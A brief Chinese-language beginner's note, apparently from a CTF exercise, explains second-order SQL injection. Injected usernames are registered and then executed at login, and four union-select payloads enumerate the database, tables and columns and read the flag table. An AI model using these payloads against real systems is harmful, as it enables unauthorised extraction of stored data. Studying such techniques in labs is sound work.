【Web】 SQL二次注入 小白笔记

步骤：

1.注册恶意用户名 
2.登陆：在登陆过程中，肯定要将我们输入的数据和数据库进行比对，而在这个查询数据库中的用户名进行比对的这个过程中，会执行我们插入数据库的用户名（也就是恶意sql注入语句）
所以使用下面4个恶意用户名，分别注册4个账号，进行登陆操作，一步一步爆出来 
1' union select database() #
1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining' #
1' union select group_concat(column_name) from information_schema.columns where table_name='flag'#
1' union select flag from flag #